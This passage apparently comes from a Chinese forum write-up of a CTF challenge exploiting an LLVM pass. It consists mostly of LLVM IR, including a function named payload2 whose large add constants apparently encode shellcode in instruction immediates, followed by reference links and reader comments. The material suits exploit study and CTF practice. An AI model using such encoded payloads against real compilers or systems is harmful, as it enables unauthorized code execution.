1024 %105 = add nsw i64 %104, 1024 %106 = add nsw i64 %105, 1024 %107 = add nsw i64 %106, 1024 %108 = add nsw i64 %107, 1024 %109 = add nsw i64 %108, 1024 %110 = add nsw i64 %109, 1024 %111 = add nsw i64 %110, 1024 %112 = add nsw i64 %111, 1024 %113 = add nsw i64 %112, 1024 %114 = add nsw i64 %113, 1024 %115 = add nsw i64 %114, 1024 %116 = add nsw i64 %115, 1024 %117 = add nsw i64 %116, 1024 %118 = add nsw i64 %117, 1024 %119 = add nsw i64 %118, 1024 %120 = add nsw i64 %119, 1024 %121 = add nsw i64 %120, 1024 %122 = add nsw i64 %121, 1024 %123 = add nsw i64 %122, 1024 %124 = add nsw i64 %123, 1024 %125 = add nsw i64 %124, 1024 %126 = add nsw i64 %125, 1024 %127 = add nsw i64 %126, 1024 %128 = add nsw i64 %127, 1024 %129 = add nsw i64 %128, 1024 %130 = add nsw i64 %129, 1024 %131 = add nsw i64 %130, 1024 %132 = add nsw i64 %131, 1024 %133 = add nsw i64 %132, 1024 %134 = add nsw i64 %133, 1024 %135 = add nsw i64 %134, 1024 %136 = add nsw i64 %135, 1024 %137 = add nsw i64 %136, 1024 %138 = add nsw i64 %137, 1024 %139 = add nsw i64 %138, 1024 %140 = add nsw i64 %139, 1024 %141 = add nsw i64 %140, 1024 %142 = add nsw i64 %141, 1024 %143 = add nsw i64 %142, 1024 %144 = add nsw i64 %143, 1024 %145 = add nsw i64 %144, 1024 %146 = add nsw i64 %145, 1024 %147 = add nsw i64 %146, 1024 %148 = add nsw i64 %147, 1024 %149 = add nsw i64 %148, 1024 %150 = add nsw i64 %149, 1024 %151 = add nsw i64 %150, 1024 %152 = add nsw i64 %151, 1024 %153 = add nsw i64 %152, 1024 %154 = add nsw i64 %153, 1024 %155 = add nsw i64 %154, 1024 %156 = add nsw i64 %155, 1024 %157 = add nsw i64 %156, 1024 %158 = add nsw i64 %157, 1024 %159 = add nsw i64 %158, 1024 %160 = add nsw i64 %159, 1024 %161 = add nsw i64 %160, 1024 %162 = add nsw i64 %161, 1024 %163 = add nsw i64 %162, 1024 %164 = add nsw i64 %163, 1024 %165 = add nsw i64 %164, 1024 %166 = add nsw i64 %165, 1024 %167 = add nsw i64 %166, 1024 %168 = add nsw i64 %167, 1024 %169 = add nsw i64 %168, 1024 %170 = add nsw i64 %169, 1024 %171 = add nsw i64 %170, 1024 %172 = add nsw i64 %171, 1024 %173 = add nsw i64 %172, 1024 %174 = add nsw i64 %173, 1024 %175 = add nsw i64 %174, 1024 %176 = add nsw i64 %175, 1024 %177 = add nsw i64 %176, 1024 %178 = add nsw i64 %177, 1024 %179 = add nsw i64 %178, 1024 %180 = add nsw i64 %179, 1024 %181 = add nsw i64 %180, 1024 %182 = add nsw i64 %181, 1024 %183 = add nsw i64 %182, 1024 %184 = add nsw i64 %183, 1024 %185 = add nsw i64 %184, 1024 %186 = add nsw i64 %185, 1024 %187 = add nsw i64 %186, 1024 %188 = add nsw i64 %187, 1024 %189 = add nsw i64 %188, 1024 %190 = add nsw i64 %189, 1024 %191 = add nsw i64 %190, 1024 %192 = add nsw i64 %191, 1024 %193 = add nsw i64 %192, 1024 %194 = add nsw i64 %193, 1024 %195 = add nsw i64 %194, 1024 %196 = add nsw i64 %195, 1024 %197 = add nsw i64 %196, 1024 %198 = add nsw i64 %197, 1024 %199 = add nsw i64 %198, 1024 %200 = add nsw i64 %199, 1024 %201 = add nsw i64 %200, 1024 %202 = add nsw i64 %201, 1024 %203 = add nsw i64 %202, 1024 %204 = add nsw i64 %203, 1024 %205 = add nsw i64 %204, 1024 %206 = add nsw i64 %205, 1024 %207 = add nsw i64 %206, 1024 %208 = add nsw i64 %207, 1024 %209 = add nsw i64 %208, 1024 %210 = add nsw i64 %209, 1024 %211 = add nsw i64 %210, 1024 %212 = add nsw i64 %211, 1024 %213 = add nsw i64 %212, 1024 %214 = add nsw i64 %213, 1024 %215 = add nsw i64 %214, 1024 %216 = add nsw i64 %215, 1024 %217 = add nsw i64 %216, 1024 %218 = add nsw i64 %217, 1024 %219 = add nsw i64 %218, 1024 %220 = add nsw i64 %219, 1024 %221 = add nsw i64 %220, 1024 %222 = add nsw i64 %221, 1024 %223 = add nsw i64 %222, 1024 %224 = add nsw i64 %223, 1024 %225 = add nsw i64 %224, 1024 %226 = add nsw i64 %225, 1024 %227 = add nsw i64 %226, 1024 %228 = add nsw i64 %227, 1024 %229 = add nsw i64 %228, 1024 %230 = add nsw i64 %229, 1024 %231 = add nsw i64 %230, 1024 %232 = add nsw i64 %231, 1024 %233 = add nsw i64 %232, 1024 %234 = add nsw i64 %233, 1024 %235 = add nsw i64 %234, 1024 %236 = add nsw i64 %235, 1024 %237 = add nsw i64 %236, 1024 %238 = add nsw i64 %237, 1024 %239 = add nsw i64 %238, 1024 %240 = add nsw i64 %239, 1024 %241 = add nsw i64 %240, 1024 %242 = add nsw i64 %241, 1024 %243 = add nsw i64 %242, 1024 %244 = add nsw i64 %243, 1024 %245 = add nsw i64 %244, 1024 %246 = add nsw i64 %245, 1024 %247 = add nsw i64 %246, 1024 %248 = add nsw i64 %247, 1024 %249 = add nsw i64 %248, 1024 %250 = add nsw i64 %249, 1024 %251 = add nsw i64 %250, 1024 %252 = add nsw i64 %251, 1024 %253 = add nsw i64 %252, 1024 %254 = add nsw i64 %253, 1024 %255 = add nsw i64 %254, 1024 %256 = add nsw i64 %255, 1024 %257 = add nsw i64 %256, 1024 %258 = add nsw i64 %257, 1024 %259 = add nsw i64 %258, 1024 %260 = add nsw i64 %259, 1024 %261 = add nsw i64 %260, 1024 %262 = add nsw i64 %261, 1024 %263 = add nsw i64 %262, 1024 %264 = add nsw i64 %263, 1024 %265 = add nsw i64 %264, 1024 %266 = add nsw i64 %265, 1024 %267 = add nsw i64 %266, 1024 %268 = add nsw i64 %267, 1024 %269 = add nsw i64 %268, 1024 %270 = add nsw i64 %269, 1024 %271 = add nsw i64 %270, 1024 %272 = add nsw i64 %271, 1024 %273 = add nsw i64 %272, 1024 %274 = add nsw i64 %273, 1024 %275 = add nsw i64 %274, 1024 %276 = add nsw i64 %275, 1024 %277 = add nsw i64 %276, 1024 %278 = add nsw i64 %277, 1024 %279 = add nsw i64 %278, 1024 %280 = add nsw i64 %279, 1024 %281 = add nsw i64 %280, 1024 %282 = add nsw i64 %281, 1024 %283 = add nsw i64 %282, 1024 %284 = add nsw i64 %283, 1024 %285 = add nsw i64 %284, 1024 %286 = add nsw i64 %285, 1024 %287 = add nsw i64 %286, 1024 %288 = add nsw i64 %287, 1024 %289 = add nsw i64 %288, 1024 %290 = add nsw i64 %289, 1024 %291 = add nsw i64 %290, 1024 %292 = add nsw i64 %291, 1024 %293 = add nsw i64 %292, 1024 %294 = add nsw i64 %293, 1024 %295 = add nsw i64 %294, 1024 %296 = add nsw i64 %295, 1024 %297 = add nsw i64 %296, 1024 %298 = add nsw i64 %297, 1024 %299 = add nsw i64 %298, 1024 %300 = add nsw i64 %299, 1024 %301 = add nsw i64 %300, 1024 %302 = add nsw i64 %301, 1024 %303 = add nsw i64 %302, 1024 %304 = add nsw i64 %303, 1024 %305 = add nsw i64 %304, 1024 %306 = add nsw i64 %305, 1024 %307 = add nsw i64 %306, 1024 %308 = add nsw i64 %307, 1024 %309 = add nsw i64 %308, 1024 %310 = add nsw i64 %309, 1024 %311 = add nsw i64 %310, 1024 %312 = add nsw i64 %311, 1024 %313 = add nsw i64 %312, 1024 %314 = add nsw i64 %313, 1024 %315 = add nsw i64 %314, 1024 ret i64 %315}; Function Attrs: noinline nounwind optnone uwtabledefine dso_local i64 @payload2(i64 %0) #0 { %2 = add nsw i64 %0, 1 %3 = add nsw i64 %2, 1 %4 = add nsw i64 %3, 1 %5 = add nsw i64 %4, 1 %6 = add nsw i64 %5, 1 %7 = add nsw i64 %6, 16999839996723556031 %8 = add nsw i64 %7, 16999840167007600968 %9 = add nsw i64 %8, 16999839549882511291 %10 = add nsw i64 %9, 16999840169020293448 %11 = add nsw i64 %10, 16999840169015152727 %12 = add nsw i64 %11, 16999840169015152724 %13 = add nsw i64 %12, 16999840169015152735 %14 = add nsw i64 %13, 16999840169021813064 %15 = add nsw i64 %14, 16999840169019453768 %16 = add nsw i64 %15, 16999840169015130986 %17 = add nsw i64 %16, 16999840169015152728 %18 = add nsw i64 %17, 16999840169015117071 %19 = add nsw i64 %18, 1024 %20 = add nsw i64 %19, 1024 %21 = add nsw i64 %20, 1024 %22 = add nsw i64 %21, 1024 %23 = add nsw i64 %22, 1024 %24 = add nsw i64 %23, 1024 %25 = add nsw i64 %24, 1024 %26 = add nsw i64 %25, 1024 %27 = add nsw i64 %26, 1024 %28 = add nsw i64 %27, 1024 %29 = add nsw i64 %28, 1024 %30 = add nsw i64 %29, 1024 %31 = add nsw i64 %30, 1024 %32 = add nsw i64 %31, 1024 %33 = add nsw i64 %32, 1024 %34 = add nsw i64 %33, 1024 %35 = add nsw i64 %34, 1024 %36 = add nsw i64 %35, 1024 %37 = add nsw i64 %36, 1024 %38 = add nsw i64 %37, 1024 %39 = add nsw i64 %38, 1024 %40 = add nsw i64 %39, 1024 %41 = add nsw i64 %40, 1024 %42 = add nsw i64 %41, 1024 %43 = add nsw i64 %42, 1024 %44 = add nsw i64 %43, 1024 %45 = add nsw i64 %44, 1024 %46 = add nsw i64 %45, 1024 %47 = add nsw i64 %46, 1024 %48 = add nsw i64 %47, 1024 %49 = add nsw i64 %48, 1024 %50 = add nsw i64 %49, 1024 %51 = add nsw i64 %50, 1024 %52 = add nsw i64 %51, 1024 %53 = add nsw i64 %52, 1024 %54 = add nsw i64 %53, 1024 %55 = add nsw i64 %54, 1024 %56 = add nsw i64 %55, 1024 %57 = add nsw i64 %56, 1024 %58 = add nsw i64 %57, 1024 %59 = add nsw i64 %58, 1024 %60 = add nsw i64 %59, 1024 %61 = add nsw i64 %60, 1024 %62 = add nsw i64 %61, 1024 %63 = add nsw i64 %62, 1024 %64 = add nsw i64 %63, 1024 %65 = add nsw i64 %64, 1024 %66 = add nsw i64 %65, 1024 %67 = add nsw i64 %66, 1024 %68 = add nsw i64 %67, 1024 %69 = add nsw i64 %68, 1024 %70 = add nsw i64 %69, 1024 %71 = add nsw i64 %70, 1024 %72 = add nsw i64 %71, 1024 %73 = add nsw i64 %72, 1024 %74 = add nsw i64 %73, 1024 %75 = add nsw i64 %74, 1024 %76 = add nsw i64 %75, 1024 %77 = add nsw i64 %76, 1024 %78 = add nsw i64 %77, 1024 %79 = add nsw i64 %78, 1024 %80 = add nsw i64 %79, 1024 %81 = add nsw i64 %80, 1024 %82 = add nsw i64 %81, 1024 %83 = add nsw i64 %82, 1024 %84 = add nsw i64 %83, 1024 %85 = add nsw i64 %84, 1024 %86 = add nsw i64 %85, 1024 %87 = add nsw i64 %86, 1024 %88 = add nsw i64 %87, 1024 %89 = add nsw i64 %88, 1024 %90 = add nsw i64 %89, 1024 %91 = add nsw i64 %90, 1024 %92 = add nsw i64 %91, 1024 %93 = add nsw i64 %92, 1024 %94 = add nsw i64 %93, 1024 %95 = add nsw i64 %94, 1024 %96 = add nsw i64 %95, 1024 %97 = add nsw i64 %96, 1024 %98 = add nsw i64 %97, 1024 %99 = add nsw i64 %98, 1024 %100 = add nsw i64 %99, 1024 %101 = add nsw i64 %100, 1024 %102 = add nsw i64 %101, 1024 %103 = add nsw i64 %102, 1024 %104 = add nsw i64 %103, 1024 %105 = add nsw i64 %104, 1024 %106 = add nsw i64 %105, 1024 %107 = add nsw i64 %106, 1024 %108 = add nsw i64 %107, 1024 %109 = add nsw i64 %108, 1024 %110 = add nsw i64 %109, 1024 %111 = add nsw i64 %110, 1024 %112 = add nsw i64 %111, 1024 %113 = add nsw i64 %112, 1024 %114 = add nsw i64 %113, 1024 %115 = add nsw i64 %114, 1024 %116 = add nsw i64 %115, 1024 %117 = add nsw i64 %116, 1024 %118 = add nsw i64 %117, 1024 %119 = add nsw i64 %118, 1024 %120 = add nsw i64 %119, 1024 %121 = add nsw i64 %120, 1024 %122 = add nsw i64 %121, 1024 %123 = add nsw i64 %122, 1024 %124 = add nsw i64 %123, 1024 %125 = add nsw i64 %124, 1024 %126 = add nsw i64 %125, 1024 %127 = add nsw i64 %126, 1024 %128 = add nsw i64 %127, 1024 %129 = add nsw i64 %128, 1024 %130 = add nsw i64 %129, 1024 %131 = add nsw i64 %130, 1024 %132 = add nsw i64 %131, 1024 %133 = add nsw i64 %132, 1024 %134 = add nsw i64 %133, 1024 %135 = add nsw i64 %134, 1024 %136 = add nsw i64 %135, 1024 %137 = add nsw i64 %136, 1024 %138 = add nsw i64 %137, 1024 %139 = add nsw i64 %138, 1024 %140 = add nsw i64 %139, 1024 %141 = add nsw i64 %140, 1024 %142 = add nsw i64 %141, 1024 %143 = add nsw i64 %142, 1024 %144 = add nsw i64 %143, 1024 %145 = add nsw i64 %144, 1024 %146 = add nsw i64 %145, 1024 %147 = add nsw i64 %146, 1024 %148 = add nsw i64 %147, 1024 %149 = add nsw i64 %148, 1024 %150 = add nsw i64 %149, 1024 %151 = add nsw i64 %150, 1024 %152 = add nsw i64 %151, 1024 %153 = add nsw i64 %152, 1024 %154 = add nsw i64 %153, 1024 %155 = add nsw i64 %154, 1024 %156 = add nsw i64 %155, 1024 %157 = add nsw i64 %156, 1024 %158 = add nsw i64 %157, 1024 %159 = add nsw i64 %158, 1024 %160 = add nsw i64 %159, 1024 %161 = add nsw i64 %160, 1024 %162 = add nsw i64 %161, 1024 %163 = add nsw i64 %162, 1024 %164 = add nsw i64 %163, 1024 %165 = add nsw i64 %164, 1024 %166 = add nsw i64 %165, 1024 %167 = add nsw i64 %166, 1024 %168 = add nsw i64 %167, 1024 %169 = add nsw i64 %168, 1024 %170 = add nsw i64 %169, 1024 %171 = add nsw i64 %170, 1024 %172 = add nsw i64 %171, 1024 %173 = add nsw i64 %172, 1024 %174 = add nsw i64 %173, 1024 %175 = add nsw i64 %174, 1024 %176 = add nsw i64 %175, 1024 %177 = add nsw i64 %176, 1024 %178 = add nsw i64 %177, 1024 %179 = add nsw i64 %178, 1024 %180 = add nsw i64 %179, 1024 %181 = add nsw i64 %180, 1024 %182 = add nsw i64 %181, 1024 %183 = add nsw i64 %182, 1024 %184 = add nsw i64 %183, 1024 %185 = add nsw i64 %184, 1024 %186 = add nsw i64 %185, 1024 %187 = add nsw i64 %186, 1024 %188 = add nsw i64 %187, 1024 %189 = add nsw i64 %188, 1024 %190 = add nsw i64 %189, 1024 %191 = add nsw i64 %190, 1024 %192 = add nsw i64 %191, 1024 %193 = add nsw i64 %192, 1024 %194 = add nsw i64 %193, 1024 %195 = add nsw i64 %194, 1024 %196 = add nsw i64 %195, 1024 %197 = add nsw i64 %196, 1024 %198 = add nsw i64 %197, 1024 %199 = add nsw i64 %198, 1024 %200 = add nsw i64 %199, 1024 %201 = add nsw i64 %200, 1024 %202 = add nsw i64 %201, 1024 %203 = add nsw i64 %202, 1024 %204 = add nsw i64 %203, 1024 %205 = add nsw i64 %204, 1024 %206 = add nsw i64 %205, 1024 %207 = add nsw i64 %206, 1024 %208 = add nsw i64 %207, 1024 %209 = add nsw i64 %208, 1024 %210 = add nsw i64 %209, 1024 %211 = add nsw i64 %210, 1024 %212 = add nsw i64 %211, 1024 %213 = add nsw i64 %212, 1024 %214 = add nsw i64 %213, 1024 %215 = add nsw i64 %214, 1024 %216 = add nsw i64 %215, 1024 %217 = add nsw i64 %216, 1024 %218 = add nsw i64 %217, 1024 %219 = add nsw i64 %218, 1024 %220 = add nsw i64 %219, 1024 %221 = add nsw i64 %220, 1024 %222 = add nsw i64 %221, 1024 %223 = add nsw i64 %222, 1024 %224 = add nsw i64 %223, 1024 %225 = add nsw i64 %224, 1024 %226 = add nsw i64 %225, 1024 %227 = add nsw i64 %226, 1024 %228 = add nsw i64 %227, 1024 %229 = add nsw i64 %228, 1024 %230 = add nsw i64 %229, 1024 %231 = add nsw i64 %230, 1024 %232 = add nsw i64 %231, 1024 %233 = add nsw i64 %232, 1024 %234 = add nsw i64 %233, 1024 %235 = add nsw i64 %234, 1024 %236 = add nsw i64 %235, 1024 %237 = add nsw i64 %236, 1024 %238 = add nsw i64 %237, 1024 %239 = add nsw i64 %238, 1024 %240 = add nsw i64 %239, 1024 %241 = add nsw i64 %240, 1024 %242 = add nsw i64 %241, 1024 %243 = add nsw i64 %242, 1024 %244 = add nsw i64 %243, 1024 %245 = add nsw i64 %244, 1024 %246 = add nsw i64 %245, 1024 %247 = add nsw i64 %246, 1024 %248 = add nsw i64 %247, 1024 %249 = add nsw i64 %248, 1024 %250 = add nsw i64 %249, 1024 %251 = add nsw i64 %250, 1024 %252 = add nsw i64 %251, 1024 %253 = add nsw i64 %252, 1024 %254 = add nsw i64 %253, 1024 %255 = add nsw i64 %254, 1024 %256 = add nsw i64 %255, 1024 %257 = add nsw i64 %256, 1024 %258 = add nsw i64 %257, 1024 %259 = add nsw i64 %258, 1024 %260 = add nsw i64 %259, 1024 %261 = add nsw i64 %260, 1024 %262 = add nsw i64 %261, 1024 %263 = add nsw i64 %262, 1024 %264 = add nsw i64 %263, 1024 %265 = add nsw i64 %264, 1024 %266 = add nsw i64 %265, 1024 %267 = add nsw i64 %266, 1024 %268 = add nsw i64 %267, 1024 %269 = add nsw i64 %268, 1024 %270 = add nsw i64 %269, 1024 %271 = add nsw i64 %270, 1024 %272 = add nsw i64 %271, 1024 %273 = add nsw i64 %272, 1024 %274 = add nsw i64 %273, 1024 %275 = add nsw i64 %274, 1024 %276 = add nsw i64 %275, 1024 %277 = add nsw i64 %276, 1024 %278 = add nsw i64 %277, 1024 %279 = add nsw i64 %278, 1024 %280 = add nsw i64 %279, 1024 %281 = add nsw i64 %280, 1024 %282 = add nsw i64 %281, 1024 %283 = add nsw i64 %282, 1024 %284 = add nsw i64 %283, 1024 %285 = add nsw i64 %284, 1024 %286 = add nsw i64 %285, 1024 %287 = add nsw i64 %286, 1024 %288 = add nsw i64 %287, 1024 %289 = add nsw i64 %288, 1024 %290 = add nsw i64 %289, 1024 %291 = add nsw i64 %290, 1024 %292 = add nsw i64 %291, 1024 %293 = add nsw i64 %292, 1024 %294 = add nsw i64 %293, 1024 %295 = add nsw i64 %294, 1024 %296 = add nsw i64 %295, 1024 %297 = add nsw i64 %296, 1024 %298 = add nsw i64 %297, 1024 %299 = add nsw i64 %298, 1024 %300 = add nsw i64 %299, 1024 %301 = add nsw i64 %300, 1024 %302 = add nsw i64 %301, 1024 %303 = add nsw i64 %302, 1024 %304 = add nsw i64 %303, 1024 %305 = add nsw i64 %304, 1024 %306 = add nsw i64 %305, 1024 %307 = add nsw i64 %306, 1024 %308 = add nsw i64 %307, 1024 %309 = add nsw i64 %308, 1024 %310 = add nsw i64 %309, 1024 %311 = add nsw i64 %310, 1024 %312 = add nsw i64 %311, 1024 %313 = add nsw i64 %312, 1024 %314 = add nsw i64 %313, 1024 %315 = add nsw i64 %314, 1024 %316 = add nsw i64 %315, 1024 %317 = add nsw i64 %316, 1024 %318 = add nsw i64 %317, 1024 ret i64 %318}attributes #0 = { noinline nounwind optnone uwtable "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "less-precise-fpmad"="false" "min-legal-vector-width"="0" "no-frame-pointer-elim"="true" "no-frame-pointer-elim-non-leaf" "no-infs-fp-math"="false" "no-jump-tables"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+fxsr,+mmx,+sse,+sse2,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }!llvm.module.flags = !{!0}!llvm.ident = !{!1}!0 = !{i32 1, !"wchar_size", i32 4}!1 = !{!"clang version 8.0.1-9 (tags/RELEASE_801/final)"} |
参考文章
winmt师傅：https://bbs.kanxue.com/thread-274259.htm
Ayakaaa师傅：https://bbs.kanxue.com/thread-273119.htm
最后于 2024-6-20 11:27
被Real返璞归真编辑
，原因：
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是这样的，出点逆向难的或者编译器、vm之类的，不然大家都直接用套路秒了 
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对抗门槛越来越高了 
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